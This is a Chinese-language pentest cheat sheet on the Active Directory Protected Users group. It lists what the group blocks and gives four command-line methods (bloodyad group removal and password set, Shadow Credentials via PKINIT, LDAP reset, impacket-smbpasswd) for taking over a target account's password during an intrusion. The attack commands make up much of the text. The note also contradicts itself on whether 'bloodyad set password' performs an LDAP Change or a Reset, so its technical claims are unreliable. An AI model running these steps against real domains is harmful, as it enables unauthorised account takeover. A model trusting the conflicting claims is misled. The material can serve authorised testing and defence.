Protected Users 组与密码修改限制
概述
- 来源: Windows Server 2012 R2 起自带的预置安全组,不依赖组策略
- 作用域: 域功能级别硬编码行为 — 任何域,域控 ≥ 2012R2 就有
- 创建方式: 不需要手动创建,AD 自带
Protected Users 的限制
| 特性 | 结果 |
|---|---|
| NTLM 认证 | ❌ 禁止 |
| CredSSP (Pass-the-Hash) | ❌ 禁止 |
| Digest / WDigest | ❌ 禁止 |
| 非 AES 的 Kerberos 加密 | ❌ 只允许 AES |
SAMR (net rpc password) | ❌ 禁止 |
LDAP unicodePwd Change(需旧密码) | ❌ 禁止 |
LDAP unicodePwd Reset(无需旧密码) | ✅ 允许(需 Reset Password 权限) |
| TGT 有效期 | ⏱ 默认缩短到 4 小时 |
| 委派 | ❌ 非约束委派禁止 |
渗透中改密码的路径
前提:对目标用户有 GenericAll / GenericWrite 等写权限。
方法一:踢出 Protected Users 再改(最快)
# 1. 从 Protected Users 移除
bloodyad -d <domain> -u <admin> --host <dc> -k remove group \
'CN=Protected Users,CN=Users,DC=<domain>,DC=<tld>' \
'CN=<target>,CN=Users,DC=<domain>,DC=<tld>'
# 2. 改密码
bloodyad -d <domain> -u <admin> --host <dc> -k set password '<target>' '<NewPass!>'
# 3. (可选)改完再加回 Protected Users
方法二:Shadow Credentials(PKINIT 绕过)
Protected Users 拦截的是非 Kerberos 认证路径。如果目标用户已有 msDS-KeyCredentialLink,直接用 PKINIT 拿 TGT 进:
gettgtpkinit.py <domain>/<target> <target>.ccache \
-cert-pem <cert.pem> -key-pem <key.pem>
如果没有 KeyCredentialLink,有写权限的话可以自己写一个上去。
方法三:有 Reset Password 权限的管理员(域管)
# 用 bloodyad 走 LDAP Reset(前提是身份有 Reset Password 权限)
bloodyad -d <domain> -u <domainadmin> --host <dc> -k set password '<target>' '<NewPass!>'
方法四:impacket smbpasswd(空旧密码尝试重置)
KRB5CCNAME=<admin>.ccache \
impacket-smbpasswd <DOMAIN>\\<target>@<dc> \
-k -no-pass -newpass '<NewPass!>' -oldpass ''
实战踩坑记录
bloodyad set password走的是 LDAP Change(需旧密码)→ Protected Users 组内用户一定失败net rpc password走 SAMR → Protected Users 组内用户一定失败(NT_STATUS_ACCOUNT_RESTRICTION)crackmapexec smb --pass-pol用 Kerberos ccache 有时拿不到策略信息,需显式给密码- Protected Users 不拦 LDAP Reset,只拦 Change
相关链接
参考
- Microsoft Docs: Protected Users 组
评论